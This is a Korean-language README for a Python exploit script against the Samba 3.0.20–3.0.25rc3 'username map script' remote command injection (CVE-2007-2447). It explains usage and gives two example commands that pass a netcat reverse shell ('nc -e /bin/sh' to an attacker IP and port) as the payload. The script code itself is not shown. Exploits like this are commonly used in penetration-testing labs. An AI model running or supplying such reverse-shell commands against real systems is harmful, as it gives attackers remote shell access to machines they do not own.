CVE-2007-2447 - Python 구현

설명

Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447)용 'Username' map script' RCE 익스플로잇의 Python 구현입니다.

사용법

python3 smbExploit.py <IP> <PORT> <PAYLOAD>

• IP - 원격 머신의 IP입니다.
• PORT - (선택 사항) smb가 실행 중인 포트입니다.
• PAYLOAD - 원격 머신에서 실행될 페이로드입니다. 예: 리버스 셸.

예시:

python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'

python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444'

리소스

CVE-2007-2447: 원격 명령 주입 취약점

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' 명령 실행 (Metasploit)